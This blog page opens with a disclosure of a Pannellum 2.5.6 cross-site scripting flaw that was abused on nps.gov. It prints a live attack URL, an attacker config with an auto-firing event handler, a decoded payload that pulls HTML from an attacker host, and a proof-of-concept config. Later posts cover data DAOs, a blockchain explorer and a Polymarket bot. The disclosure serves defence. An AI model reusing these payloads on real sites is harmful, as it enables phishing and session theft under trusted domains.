William Entriken Blog

Zero Day Live: Pannellum 2.5.6

Mon, 05 Oct 2026 00:00:00 +0000

The US National Park Service runs nps.gov, a trusted .gov domain on the internet. Through October 2026, a special link made the browser address bar show nps.gov while the page showed crypto spam about Solana NFTs. The page was indexed in Google News. Here is how the entire attack works, step by step.

We talked through this live on Community Service Hour Pannellum Zero Day (ep. 143).

Walkthrough

⚠️ For live attack URLs, use incognito mode and do not believe anything you see in this window.

Here is the attack URL. Checked on 2026-10-07, the viewer path on nps.gov returns 404:

https://www.nps(.)gov/hdp/scripts/pannellum/pannellum.htm?config=/\/cdn.wsscript.com/gov/article/tensor-solana-nft.txt

Your browser address bar will show www.nps.gov/defi/tensor-solana-nft. The page content will be an article titled “Tensor Solana Nft” with a video player, SEO markup, and crypto marketing text. None of this content has anything to do with the National Park Service.

This URL was also distributed through Google News RSS, using the redirect at (WARNING LIVE ATTACK URL):

https://news.google(.)com/rss/articles/CBMi1gFBVV95cUxON3dKcGJLNkU4SVF3SmxyT3V4RlR0VW1XOGkwckx0ZURSQkZ1MThuWW5xODVOcnVOeUFOMnNzUU15VXFQWU5JdlM4MnNpOHJKVk1IYzRSaTNISlJSb1JZYUJuWEoxX3ZjWmFqRGNiRFdaOXdkMDl6ZTdlTG14M0lmaUtOZVd2NElQRU1OaHFHS3A1YVBvbl9RbThsdVQ1Ukc4VEtZY3VabGUtWnVwejhVc3N5R3hFM0xDZmtiaE5pY1RCRUVVb1REOVFQVk1mV2FtUzN3UG1n?oc=5

Google News decoded that link and sent visitors to the nps.gov URL above.

We have seen thousands of other sites affected that were exploited.

Impact

Search results and AI scraping collect these pages, causing affected search results and reasoning from these pages to reflect remote assets from attackers for SEO articles rather than the intended site content via a method of cross-site scripting.

This issue allows an unauthenticated attacker to use a legitimate domain as the delivery surface for attacker-controlled content. By supplying a remote configuration file to the exposed Pannellum viewer, the attacker can construct a URL that appears to remain on the affected “.gov” or “.edu” domain while displaying content and links controlled from external infrastructure. No compromise of the affected web server is required.

An attacker could use this capability to:

Create convincing phishing, cryptocurrency or credential-harvesting lures, and under some conditions harvest domain session tokens. Those pages inherit the credibility of the affected organization.
Manipulate page content and browser history to make the malicious instance appear native to the trusted site.
Evade detection due to editing the resulting page via the Pannellum config, with resulting attempts to analyze the compromise appearing as a 404 error on the surface.
Improve the visibility and credibility of malicious content through search engine indexing, news aggregation, link previews, and AI retrieval systems.
Reuse the same attack pattern across other sites hosting similarly configured Pannellum viewers.

This pattern is reusable and actively exploited at scale. The same attacker infrastructure (using domains like cdn.wsscript.com, nn.kostoom.com, anni.ie, sdntoper.top, and cdn.taddd.net) is targeting multiple high-trust domains simultaneously with Pannellum viewers. The attacker simply prepares a config file and constructs a URL for each target — no server compromise needed.

Severity rating:

(For SEO impact) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
(For account takeover) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N 7.4

How the attack works

The attack exploits a single feature of a legitimate open-source tool that nps.gov hosts. Here is the full chain, built from the bottom up.

Step 1: Find an affected page.

The nps.gov website hosts Pannellum, an open-source panoramic image viewer, at:

https://www.nps.gov/hdp/scripts/pannellum/pannellum.htm

This is a legitimate tool used for 360° panorama images of historic sites. Pannellum is designed to accept a config query parameter containing the URL of a JSON configuration file. The viewer fetches that JSON and uses it to set up the panorama display.

Here is what this widget is supposed to look like when it is working. It is beautiful.

The critical issue: there is no restriction on what URL the config parameter can point to. It does not have to be from that same publisher.

Step 2: Craft a config URL that points to an external server.

The config parameter is parsed from the query string and fetched by the JavaScript. The attacker uses a different host but hides the // part by using an equivalent encoding /\/.

?config=/\/cdn.wsscript.com/gov/article/tensor-solana-nft.txt

Now the Pannellum viewer running on nps.gov fetches and parses a JSON config file controlled entirely by the attacker on any domain.

Step 3: Build a new Pannellum config with XSS.

The attacker’s config file at cdn.wsscript.com/gov/article/tensor-solana-nft.txt is a valid Pannellum JSON config. It loads a real photo so the viewer initializes normally. But it also injects HTML attributes:

{
  "autoLoad": true,
  "panorama": "https://pannellum.org/images/cerro-toco-0.jpg",
  "hotSpots": [
    {
      "pitch": 0,
      "yaw": 0,
      "type": "info",
      "URL": "#",
      "attributes": {
        "style": "visibility:visible !important; position:fixed; top:0; left:0; width:100px; height:100px; z-index:99999; animation: pnlm-mv 0.001s 1 forwards",
        "onanimationstart": "eval(atob(\"...\"))"
      }
    }
  ]
}

The hotspot’s style attribute applies a CSS animation that completes in 0.001 seconds. This fires the onanimationstart event handler automatically, with no user interaction required.

Broad lesson: countermeasures should use allowlist instead of a denylist. Denylists are not well suited as a countermeasure.

Step 4: The JavaScript payload replaces the entire page.

The onanimationstart handler runs eval(atob("...")), which decodes to:

fetch('https://cdn.wsscript.com/gov/how-to/tensor-solana-nft.txt')
  .then(r => r.text())
  .then(h => {
    document.open();
    document.write(h);
    document.close();
  })

This fetches a second (HTML) file from the attacker’s server and calls document.write() to completely replace the page content. Because JavaScript is running in the context of nps.gov, the browser address bar still shows nps.gov throughout this process.

Step 5: The replacement page fakes the URL and serves content.

The injected HTML page does a few things:

Rewrites the visible URL using history.replaceState() to change the path to /defi/tensor-solana-nft, making the address bar look even more like a real nps.gov page. This is more believable.
Detects search engine crawlers with a regex check for googlebot|bingbot|adsbot in the user agent. If a crawler visits, the page serves clean content optimized for search indexing. Human visitors get the full replacement.

Demonstration proof without harm

We have deployed a configuration file to prove the effect without any harm. This allows us to contact affected people and explain the problem.

https://apps.phor.net/csh-panorama/config-pannellum2.php

It is built for study, and it avoids the obfuscation of the real attacks.

<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}
?>{
  "autoLoad": true,
  "panorama": "https://pannellum.org/images/cerro-toco-0.jpg",
  "hotSpots": [
    {
      "URL": "#",
      "attributes": {
        "style": "animation: pnlm-mv 0.001s 1 forwards",
        "onanimationstart": "document.open();document.write(\"<html><body style=font-family:system-ui;padding:2em><h1>This page content has been replaced using a technique described on the Community Service Hour podcast.</h1></body></html>\");document.close();history.pushState(null, \"\", \"/a-nonexistent-page\")"
      }
    }
  ]
}

Other affected websites

Sites that run Pannellum 2.5.6 or before are affected. This was fixed in 2.5.7 (see diff).

We demonstrate using our proof without harm.

This list may be outdated by the time you read this.

Attack attribution

The attack infrastructure uses several domains that serve different roles. Some host configuration files (the Pannellum JSON or krpano XML that triggers the XSS), some host the replacement HTML pages, and some host tracking or monetization scripts loaded after the page is taken over.

Hosting malicious files on a domain does not necessarily mean the domain’s operator is responsible for the attack. Servers can be compromised through their own vulnerabilities (a so-called watering hole attack), and attackers frequently upload files to servers they have broken into. That said, these domains warrant investigation.

Participating servers for configuration and content

These domains host the config files that trigger the XSS and the replacement HTML pages that hijack the victim site, and related scripts:

Domain	Role	Registrar	Created
cdn.wsscript.com	Hosts Pannellum JSON configs, krpano XML configs, and replacement HTML for nps.gov and CNN attacks	NameCheap	2023-12-22
nn.kostoom.com	Hosts Pannellum JSON configs used in Boston University attacks	Tucows	2015-10-27
anni.ie	Hosts Pannellum JSON configs used in Boston University and Biola University attacks	—	—
b.sdntoper.top	Serves tracking script `evm.js` loaded in nps.gov attacks	—	—
cdn.taddd.net	Serves tracking script `dll.js` loaded in CNN attacks	Cloudflare	2026-01-12

The domain anni.ie belongs to the Association of Nigerian Nurses in Ireland, a legitimate organization. Their website runs Kopage (a website builder). This domain may itself be a compromised server being used to host attacker files without the organization’s knowledge.

The domain cdn.taddd.net was registered only one month before this writeup, which is consistent with attacker infrastructure that rotates frequently.

Attribution and enumeration can work back-and-forth. As you find staging servers that host the configuration, this can be used to find new affected hosts, and vice-versa.

The full list of 284 URLs is available in the sitemap at the root of cdn.wsscript(.)com.
Another list on palmaeduca(.)es/fotos/
Exploited pages were found indexed with topics including “trading algorithms” and “Bitcoin inscriptions.”
Do backlink analysis of the found pages.

Recommendations

Website publishers should update Pannellum to version 2.5.7 or later.
Monitor your web server access logs using a tool to detect indicators of abuse, such as ?...// and similar.
Google News should validate that the final URL after redirects actually serves consistent content and is not an open redirect.

Future research

Additional research paths are available that we did not explore.

Repeat this research for krpano version 1.17-pr2, 1.20.12. The CNN Edition website was affected by this. And other sites might be too.

Test date

February 2026 through October 2026

Acknowledgements

Thank you to the many contributors here for preparing command line approaches, looking up contact information, discussing the ethical approach we are using here and providing the motivation to get through an afternoon to help some random other souls out there whose websites might be misconfigured.

William Entriken https://x.com/fulldecent
Christy Caraballo https://x.com/pwncmd
sshpunk https://x.com/sshpunk
Doc72 https://x.com/Doc72_
kamigold

Disclosure timeline

2026-02-10 Publicly reported on X, but I failed to explain the actual vulnerability properly
2026-02-13 This writeup with full technical explanation
2026-10-05 Full blog post

The first data DAO

Wed, 23 Sep 2026 00:00:00 +0000

Henrietta Lacks’s family has decided, since 1951, which uses of her cells are allowed. The permission is the NFT. The family is the DAO.

I gave this talk at DeSci NYC on 12 April 2023, during NFT NYC. The whole point is data permission: the permission to use data.

Entry level. Nothing is expected of you.

Video: NFT NYC #5 — William Entriken (NFTs in Science) (I start at 8:13.)

I’m William Entriken. Lead author of ERC-721, the document that says what an NFT is. If you are making NFTs, you are following that spec.

I worked at Google for a minute. I started in open source, building communities and mentorship programs, and that is how I later found blockchain. I worked at the US Navy for a minute. I do business in Philadelphia and Shanghai.

This is a broad discussion. Data DAOs, specifically. The permission to use data.

The most copied cell in biology

That’s xkcd 365.

Now if you’ll just bear with me for a moment, I’d like to show you a very close-up photo of a cervical cancer biopsy.

US National Institutes of Health, scanning electron micrograph, Zeiss Merlin HR-SEM.

This is the most copied cell in biology. It is a human cancer cell from 1951. Polio research, cancer, AIDS, anything that has to be tested with DNA. Because it is a human cell, and humans are often the things we are trying to cure, this is the basis across biology.

Where did it come from?

Henrietta Lacks, Harvard University

Henrietta Lacks presented to Johns Hopkins in 1951 with pain in the womb after childbirth. Doctors took the biopsy without consent and shared it with other schools.

If you have done cancer cell research, you know a nice warm sample lasts three or four days. This one persisted. Immortal cell line. Days? Weeks? Millennia. We are still using it today. Billions in sales.

When cells divide, there is code in DNA. The end of it does not matter, and when you cut it a bunch of times the end trails off. This one does not. You can keep cutting it and make perfect copies forever.

Key part of the story: they never got consent from her to use this cell, or to sell it.

This is 1951. Two things you need to know. One, Black people were given free medical care at Johns Hopkins, and there was a segregated system, and they did different things then that they do not do now. Two, it was common practice to take the cells without permission. The people selling her cells acknowledge they would not do this now. They are doing this now.

The first data DAO?

Her descendants come in and say: we would like to participate in the decision-making of the usage of these cells. They are descendants, so it is also their cells. If you have ever signed up for 23andMe, or your dad, or your mom, or your grandparent did, that is you too. You are all signed up together.

They are now suing various laboratory companies for the improper use and profit from these cells. Lawsuits ongoing. They are also now frequently consulted by ethics committees on which uses of the cells are appropriate.

If her family are stakeholders in this cell line, and they are talking about participating in the science, is this the first data DAO?

Who is decentralized? The family members. Autonomous: nobody else is telling them what to do. Organized: they are very organized.

The best way to understand the world is to compare the things you already know. This is from 1951. No technology needed.

NFTs for data permission?

Let’s formalize this.

The cells are called HeLa cells. Henrietta Lacks, HeLa. Every time they are used legitimately, with the family’s consent, they tokenize that.

I wrote this up in 2020 with Daniel Uribe: Biosample permission token with non-fungible tokens.

By tokenize I mean: they write it down in a record. They put it in a ledger. That is an NFT. A unique item in a ledger. It can be written on a chart. It can live in Excel. It can be a piece of paper. That is a ledger. That is an NFT. We can also do NFTs on a blockchain. That is cool too.

We need provable attestations of permission to use data. That is intellectual property. Permission was granted.

If you are using this cell for research and you are permitted, you want to know that. If you are doing an ethics committee review at your school, and they do not want stolen cells from a civil rights case seventy years ago, and you say they approved it, how many times have you had to prove to your ethics council where you got your stuff from?

That is changing. We are going to start demanding these things.

This is a high-profile cell. If they say it is true and put it on their website, that is gold. For less visible projects you want it somewhere. Blockchain, a website, an email chain you can copy, paste, and prove. You want something.

These attestations may or may not be transferable. They may or may not be sublicensable. NFTs may or may not be transferable. NFTs can be on blockchains. NFTs can live in Excel.

I am a very practical guy. I want these applications to work. I am not telling you to use blockchain, or Ethereum, or ERC-721. I want you to make better systems, and attribute when attribution is due.

Who do science DAOs benefit?

In this situation, her family.

They want two things. Money for the money that was made off the cells. And a say in where the research is used. Run it by us. Why are you using these cells? What outcomes are you working on?

There have been documentaries and books. People would like to give credit. Celebrate the woman who unwittingly gave these cells, and helped polio and AIDS vaccines and all types of things that were possible because of this. The family has an interest in recognizing that.

That is a beneficiary of attribution of data in science.

Quick survey. Raise your hand if you are of European descent. Keep it up if you identify as white. This is science, so we can say these things. If your hand is up, you are overrepresented in pharmaceutical research. You are overrepresented in DNA research and in therapies based on DNA. That is a problem. If your hand was down, you are an opportunity to improve the sample.

That is what I have been working on.

Somos

Disclosure: client work. Not a current client.

Somos. A DNA test kit. It works like 23andMe. You open it up, there is a test kit.

Some laws in the US are dumb. You have to give your name when you give DNA. We worked around that with a default name. The name is a seed phrase. Twelve words. Crude, well-known, and it works for creating identity digitally.

When the test comes back, you decide where your data is used.

This system is specifically for Indigenous Latinos in South America. There is a lack of diversity in DNA sequencing and drug testing. Pharma wants more diverse samples so that when they launch drugs they do not just fail a population that was never in the study.

We are not just taking their data. They participate. They have visibility and traceability all the way down the supply chain.

Do this in more places. Data DAOs plus supply-chain traceability of data, specifically DNA.

Molecule

Other ways NFTs can benefit science. I looked at Molecule.

I say good things, I say bad things.

What you are looking at is specific research projects you can be a stakeholder in. Novel small molecules for Alzheimer’s. Therapeutics for arthritis. Osteoporosis peptides.

This one is more interested in the money. Their mission says they are creating liquid and easily investable assets. I checked the SEC website. I did not see them registered in EDGAR. Watch out for that. The SEC is currently years behind on bringing lawsuits. If something is less than five years old, get a lawyer.

I am not saying this is a bad thing. I am a very practical guy. I do not want you in jail. I have not been in jail. Does that make me not an OG?

I want these things to work. I want different types of stakeholders represented in science.

Ethics

Biotech innovations raise ethical questions every time. Ownership and permission issues must be addressed. Data privacy and security concerns exist, and blockchain does not specifically solve them. Consensus systems in a DAO usually mean some people’s votes don’t take effect.

I do not have the answers. If you have more stakeholders, more diverse stakeholders, you will get more answers. If you are smart, maybe better answers. Ownership and permission at least visible.

A little better. That is what I am going for. Better.

If you have something valuable, like DNA access that other people do not have and you paid for, maybe you keep it secure because you paid for it. If you went through an ethics committee and paid for the data, why would you put it on a website so everyone else publishes first? Publish. Get your stuff out. Have the rare commodity you are using.

Unlike the HeLa cell line, when you have a lot of participants with diverse opinions in a DAO, something you need to watch out for: a lot of the time we say DAO and we are just doing majority voting, or quadratic voting, which is not quadratic. Quadratic funding is the other one.

If there is a voting system, that is a consensus mechanism. If it is enforced on chain, some people’s vote will not be the way the thing goes. They are submitting to the outcome. Rule by committee. Human cooperation, Robert’s Rules, committees have been studied forever. Some people will not be happy with the outcome.

That is different from every person individually making a decision.

I have a weekly call for these high-level topics, and for going much deeper technically on things you are doing.

One more thing

I wanted to bring original research you can take home and use.

Who does not use SQL for data science? Who uses graph databases for data science in medical research? Zero. No one. SQL.

The long version is Moon dust: auditable, versioned databases.

fulldecent/versioned_database_template. A simple template for SQL databases. SQLite. On a Mac you already have sqlite3. You do not have to download anything.

Everything you do creates an audit trail. Every record you put in, every record you modify, has an ID, and these IDs add up.

Does anybody know another type of database that has immutable records that are append-only? Blockchain.

We stole the most important part of blockchain and brought it down to SQL, which is what we are already using. Triggers, too nerdy, with triggers, so you have an append-only database.

How do you quickly summarize information in a blockchain, where you can expose some of it but not all of it? How do you summarize anything? Hash it. Hashes of hashes? Merkle root. Merkle trees. This lets you have a database where you expose some of it.

You do not need blockchain. If you are in big pharma you do not need to go to legal and say we are going to do a blockchain project. You go to your data people and say we are going to do a SQL project. That is how you get things passed.

Take the smallest knife and make an incision. If you have blockchain ideas and you actually want to use them, do them with your existing team.

Questions I got

How do you prove the hash has not been mutated?

Attestation, plus digital security. How does blockchain prove records are authentic and created by the people they claim? A signature. How do those signatures tie back to people we care about? Not “put the DID on a blockchain” as the answer. How do you know which website is Google’s? DNS. A centralized registry. Same techniques apply to databases. Store signing keys in DNS. Sign databases. Sign hashes. Publish anywhere. All of this exists and does not require blockchain. Use blockchain. It is great. These ideas are simple enough to get done anywhere. No excuses.

You said skip the legal review?

I did not say skip regulation. I said do not sell “blockchain project” internally if you can sell “audit trails on our databases.”

I helped Ernst & Young work with Microsoft to change how they record royalties on Xbox. I worked with 200-year-old French watch brands on how they authenticate merchandise. They changed the certificate of authenticity. Merck Animal Health uses blockchain in production for drugs they sell for animals. These things work.

When you are selling it internally, do not say we are going to launch this on Ethereum. They will say no. Say we are going to add audit trails. They will say we do not have audit trails? You forgot to turn that on in SAP. Turn it on in SAP. That is the first step to hashing databases and providing attestation.

By the time you are done you have introduced assurances for records, attestations, verifiable records, 99% of blockchain, and you get the benefits. You are doing good business stuff you should have been doing anyway. Use different words.

It does not matter whether the end state is a public network. Large organizations will have to do these steps anyway. Either you ask for audit trails, attestations, hashes, customer-auditable records, and an Ethereum rollup with zk-proofs, or you ask for A, B, C, D. Same place. Smaller steps. Faster. It is also likely you will not need that last step.

I am the first person to tell you: you do not need NFTs on a blockchain. A client said they want to improve inclusion of different ethnic groups in pharmaceutical research, and they want to use NFTs. Yes, maybe. You could get this to market faster without blockchain. Good enough. Their mission is improving medical outcomes for a diverse population. I support that.

Which part is the ERC-721 part? What is stored there?

The data permission is the NFT.

Non-fungible token: non-fungible means a number, token means worthless. It is a worthless number. That is what an NFT is. People like NFTs because they represent other stuff.

I have a car title. I care about the car. Does anybody know the number on their car title? No. They do not care. Worthless number. But if that number represents permission to use data in an experiment, that is the same number you give your professor to sign off on the research. If they look it up and it is 404, you are not getting funded.

The data is not in the NFT. Just the permission. You get access to the data after you pay, by whichever mechanism. Your authorization, which you prove to other people, is this number, which you can look up.

Take this with you

An NFT is a unique item in a ledger. Excel counts. A chain counts. A chain is optional.
The useful NFT in science is a permission, not a JPEG, not the dataset itself.
HeLa is the first data DAO, from 1951, with no technology required to understand it.
If you work in a company that matters, ask for audit trails and signed hashes.
The SQL template is at fulldecent/versioned_database_template.

身份证不是征信报告

Fri, 18 Sep 2026 00:00:00 +0000

来自DI在杭州第一次开会，以下是我们提到的话题。

NFT到AI agent，下一代基础设施是什么？

问：如果说 ERC-721为 NFT 时代定义了数字资产的身份与所有权，那么在 AI Agent时代，我们最需要优先建立的底层标准是什么？

首先我们可以分析上一代的crypto说实话已经解决了哪些问题。

稳定币让我们把crypto和传统银行链接
NFT让我们出有限制的货品也可以用身份

这是我们的基础。同时，在这个环境里我们也看过好多诈骗子。

那目前我们有AI代理agent。它有什么问题？它有什么基础？一些问题是：

AI会很自行的推出错别的答案
AI更新有时候是腿部的，你都回不去
AI与AI的对话我们大部分看不到。

在这个环境下我们很需要AI版本级它的版本号能证明。我们也需要AI之间的信息我们有机会旁观。

Hash4eva blockchain explorer

Tue, 04 Aug 2026 00:00:00 +0000

Blockchain has a lot of great ideas, but we never got the great apps and interfaces I was hoping for. The missing layer is simple: people need a trustworthy, usable explorer that makes on-chain reality legible. A block explorer should be the base component for people to trust and interact with any blockchain.

The best explorer is not just a list of transactions. It is a system for telling the truth about what happened, who controls what, what is dangerous, and what a reasonable user should do next.

I built a prototype for that idea and called it Hash4eva. The demo is intentionally opinionated. It treats security and identity as first-class features rather than as afterthoughts hidden behind raw data tables.

You can browse the demo pages here:

The core premise

A blockchain explorer should answer four questions quickly:

What is this address, contract, or transaction?
Who controls it?
What is risky or suspicious about it?
What should a normal person do next?

That means the product should be designed around truth, context, and action. The interface should make the important facts visible before the user has to dig through logs and storage dumps.

The homepage should feel like a helpful assistant

The homepage should reduce noise and focus on the things users actually care about. A good explorer should tell users what they recently viewed, highlight suspicious or important events, and make search feel effortless.

The demo homepage emphasizes a compact, high-signal experience. It gives users quick access to recent addresses, incident coverage, and a search experience that can route to accounts, contracts, and applications.

Account pages should become identity stories

For an externally-owned account, the page should not behave like a raw transaction dump. It should function like a profile with context, evidence, and meaningful warnings.

That means showing:

account identity and ENS context
KYC and exchange trail evidence
whether the account has vulnerable approvals
whether it has been involved in MEV-related behavior
whether it has access to multisig or other administrative structures
actions that can be taken to recover or investigate assets

The design goal is to transform an address into a story about who controls it, what it has done, and what is worth paying attention to.

Contract pages should explain power and risk

Smart contract pages need to do more than show bytecode. They should surface what the contract can do, who can control it, and what the likely risks are.

That means showing ownership structure, upgradeability, admin controls, audit status, and the mechanics of potential rug-pull or asset seizure conditions. The explorer should make these facts obvious.

The demo contract page includes views for:

ownership and administrative functions
protocol conformance
actions and message calls
storage layout and reverse-hash browsing
audit submission and review workflows
download and dapp-style export options

Transaction pages should explain impact

A transaction page should not just show a gas fee and a status marker. It should show what the transaction changed, who was affected, whether the transaction is replayable, and whether it looks suspicious or manipulative.

The design should make the user feel that the transaction is legible. That means surfacing side effects, value movement, storage changes, and event logs in a single, understandable view.

Security audits and liquidate buttons

Anybody should be welcome to upload evidence of backdoors, rugpulls and other security issues.

Here is one example, OpenSea administrators can take any tokens minted on the OpenSea Shared Storefront.

This actual liquidate button should be shown directly on the contract page. If the administator of OpenSea sees that button, they should be able to click it to do the rugpull. If anybody else sees it, they should be able to simulate the same transaction and see the impact.

There’s a big difference between “XYZ company audited our smart contract (the old version) (4 years ago)” and “click here to rugpull this contract.” And luckly, it is very easy to validate claims of rugpulls. We should support these researchers and bring their findings front and center.

Incidents should become structured stories

Incidents are a strong use case for an explorer because they naturally combine addresses, contracts, timelines, and consequences. The explorer should make it obvious what happened, when it happened, who was affected, and what the follow-up actions should be.

The demo incidents page shows a more narrative, timeline-driven approach to presenting security events instead of burying them in a feed.

The takeaway

The important lesson is that blockchain applications need better interfaces before they can become broadly trustworthy. The explorer is the obvious front door. If the explorer is clear, evidence-driven, and action-oriented, users will have a better chance of understanding the system and making safe decisions.

Hash4eva is a design attempt to make that possible. It is not just a prettier version of Etherscan. It is a rethinking of the explorer as a system for trust, explanation, and action.

Polymarket quant desk

Sun, 02 Aug 2026 00:00:00 +0000

This post expands the ideas from the Community Service Hour Polymarket bot (ep. 142) about building a prediction-market trading bot on your laptop. We walk through each slide and explain the practical architecture, the tooling choices, and the discipline required to properly study and implement a machine-learning quant desk for running market bets against Polymarket.

The main point is that this domain is a very good place to learn how modern data systems, backtesting discipline, and operational engineering actually work together. And now is a unique time to get started, because the entire history of Polymarket trading data is still small enough to fit on your laptop. Soon, this dataset, and the analysis will no longer be feasible on basic hardware most people have.

Thank you to AI Philly (Meetup) for setting up this event!

Why this is interesting now

Prediction markets are interesting because intersect finance, machine learning and software engineering.

The Polymarket historical trades dataset is small enough (1 TB) that you can fit it on your laptop computer and analyze it. (But not for long!)
You can understand it at a high level, and it’s simple enough that LLM can implement a trading bot for you.
Running a trading bot can make you real money (if you are eligible to operate one).

You can also rescrape and build it yourself with the provided code.

The source code for this blog post/presentation is published on GitHub and the scraped dataset is published on Hugging Face.

The talk starts with the basic question: what is a prediction market and how does it actually get represented on chain?

Outcome tokens

The fundamental approach is that each outcome is expressed as a yes/no question. The system provides two tokens that are complementary. One token represents the outcome happening. The other represents it not happening. For example:

Will Vance be the 2028 Republican nominee for US president? –> YES
Will Vance be the 2028 Republican nominee for US president? –> NO
Will Rubio be the 2028 Republican nominee for US president? –> YES
Will Rubio be the 2028 Republican nominee for US presiden? –> NO
…

Complementary usually means one pays out 100% and the other 0%. Other exceptional splits are possible.

Each pair of yes/no tokens is complementary. And the total payout for each combination of YES + NO is always complementary. And across multiple choices like this one, other complimentarity exists. For example, it is not feasible for both Vance and Rubio to be the Republican nominee.

Each market order ends up touching one of these YES/NO tokens. Let’s trace that order back from the original order intent.

How an order reaches the blockchain

An order starts as an intention. You want to bet on something, say a World Cup match, and that intention has to travel all the way onto a public blockchain before it counts. Let’s see each step that happens: when the decision is made, when it clears, and when it becomes permanent.

Knowing precisely how trade data lives on the blockchain was even the subject of a lawsuit involving a friend of the show. Show up IRL to ask for details.

Under Polymarket there are two ways to clear a trade. You can sign everything yourself, which almost nobody does, or you can use the hosted wallet, which almost everybody does. Either way you are signing a message in the Ethereum sense, not a transaction. That message is relayed to a bundler, physically routed through a Polymarket relayer server near the UK, which pays the gas and plays your order onto the Polygon network.

Polygon produces a block about every two seconds. Once your order lands in a block it is locked, irrevocable and written to the ledger. That final on-chain record is the thing we care about: every closed trade is there, showing which tokens moved from one account to another and the money that moved the other way.

CLOB market mechanism

Polymarket matches orders with a central limit order book, or CLOB. If you have ever seen a level-two order book on TradingView, with stacked reds and greens, that is the same structure. As an outside observer (from the blockchain logs) you do not see the full book, you only see the price that actually cleared.

The split between a maker and a taker is important:

If the best resting offer is at 400 and you buy it there, you are the taker. You lift liquidity off the book and you decide the exact moment of execution.
If instead you post a bid at 375, you are the maker. Your commitment is now made, and you carry risk until someone trades against you.

Carrying that risk is exactly what is valuable to the other side.

A single taker can also sweep several makers at once. Picture resting bids at 300, 301, and 302 while the market sits at 305: one incoming sell walks down the book, taking 302 first, then 301, then 300. One shark eats three fish.

Even in an “atomic match”, the trade that closed last sets the final price, not the average of the fills.

When you later read the tape you just see prints at 302, 301, 300. But which side initiated, in which direction, and in what sequence is the information that actually matters, and all of it later becomes features for the model.

Get the data from the chain, not the API

There is a tempting shortcut. Polymarket exposes its own history through the Gamma API. The problem is trust: you would have to assume they are not hiding rows, that the historical numbers are accurate, and that today’s data is apples-to-apples with what they served in the past. It is also not published in bulk, you pull it row by row.

The alternative is to treat the blockchain itself as the source of truth. Every node that participates in the chain holds the same data, so you can query any provider and get identical, reproducible results. You can pay about $30 a month to an API provider, use a free key, or simply pull the roughly one-terabyte dataset off ourr Hugging Face dataset. It is equivalent any way you get it.

The raw data lands as around thirty tables, but let’s look at three of them now:

A market is a specific event with a testable outcome, such as a single World Cup match, split into complementary yes/no tokens.
Accounts are holders of risk. They may be humans or bots.
Fills/order matches are the trades that actually happened.

These are the same techniques you would use against a real exchange like NASDAQ, just with bigger machines and fatter pipes.

Why DuckDB and Parquet, not SQLite

My first instinct was to reach for SQL and that is exactly what the project did at first: a single terabyte-sized SQLite file on disk. It worked, but it was the wrong tool. SQLite, MySQL, and Oracle are tuned for looking up one row at a time. E.g. a user logs in, fetch their name, record one action. Our questions are the opposite shape: look at every trade an account ever made across two years and summarize how far its prices sat from the market. Every query scans and transforms the full dataset.

That is a columnar, analytical workload, and it is what DuckDB is built for. DuckDB is the database, Parquet is the file format, essentially compressed CSV with some magic inside. You do not even need a server, DuckDB rips straight through Parquet files on disk and uses every core it can find.

An account-follow backtest took seven seconds (M4, 24 GB RAM, 20 cores). SQLite took 100× longer.

This is also why now is the moment. The full history still fits on a normal laptop, but as the market grows it will eventually become a ten-terabyte and hundred-terabyte problem that only serious hardware can touch.

Raw data and derived data

All of the data we use for backtesting and operations is immutable and reproducible. We separate raw data from derived data as follows:

Raw data comes from a primary source (e.g. blockchain logs)
Derived data can be regenerated byte-for-byte identically each time from the raw data.

Use immutable, partitioned Parquet files. Instead of one giant mutable database, a fresh partition is written on a fixed cadence, roughly every five hours, and the whole set aggregates into one logical dataset. Because each partition is immutable, you can hash every file and keep a manifest recording exactly which files existed on a given date. Later you re-check the hashes and prove nothing shifted underneath you, without cloning a terabyte disk every day.

That discipline is called provenance. When a derived feature looks wrong, you trace it straight back to the exact files and hashes it was built from. When you build a trading model, same thing. When you see a trade execution, same thing. Every calculation, model formula and trade decision can be reproducibly traced back (ultimately) to the raw data.

If you can’t do that you are not a real quant.

Feature engineering and trading theses

Features are just the columns you let the machine reason over, the same way you would lay them out in a spreadsheet, and the model minimizes a loss function against an objective you define. Use your intuitions to try different optimization models, until you find some useful trading strategy.

Let’s look at some examples.

A good example is an account personality. For each account across the whole dataset you can compute how much money it made, how large its exposure ran, and how it spread trades across the 24 hours of the day. An account that trades every single hour is probably a bot, and instead of hand-waving you can say it precisely: its Shannon entropy across time is above five.

Other features connect a token back up to its parent market and superstructure, for instance every team in the World Cup carries its own yes/no token, and those are all related.

Those features feed concrete theses, we discussed a few at the talk:

Only a full-history backtest can separate the one meaningful anomaly from all the noise around it.

Bands (ping-pong). Buy low and sell high across an oscillating range, leaning on technical indicators like moving averages, RSI, and crossovers. A wide band around your entry is a toll bridge you collect on each way; a narrow band that breaks against you hands you exposure you never wanted. (Optimize the band size!)
Cross-market arbitrage. Compare the same or synthetic outcomes across venues like Kalshi and Polymarket. The danger is a mismatched resolution source, the same way some crypto firms got squeezed treating USDT and DAI as identical.
Anomaly detection. Hunt for outsized, high-sigma bets. You hear on the news that someone connected to a war bet $50,000 the day before it started, but the news never shows you the thousands of $50,000 bets that meant nothing. (Model using ALL data, not just what is on TV.)

After you have created a hypothesis and have optimized some features, do a full backtest.

Backtesting, and the time-leak trap

The reason to backtest is simple: a robot cannot YOLO. A human can gamble on instinct, but an automated strategy has to be tested against as much history as you can throw at it. In this dataset that is a luxury, you can run a hypothesis against 100% of every trade ever made and get an answer in seconds. On NASDAQ you would be forced to sample a sliver of a few days out of petabytes.

The single most dangerous mistake is a time leak. If you cannot timestamp a piece of information, get out.

If you have a roster or an injury report but you do not know exactly when it went public, your backtest will use knowledge that did not exist at the moment of the trade. It will see patterns that are not real, and lose money without understanding why.

Anything you can timestamp can be fed in directly. If you cannot get the exact time, you can sometimes estimate it from a reliable third-party schedule, but you have to be honest about which is which. Every run is also a git commit, because when a working strategy suddenly starts losing money the only way to do forensics is to reproduce the exact code and data behind each result. This is where LLMs shine: they are excellent at proposing the next variation, explaining why the last one failed, and keeping you in a fast hypothesize-test rhythm.

Trade operations

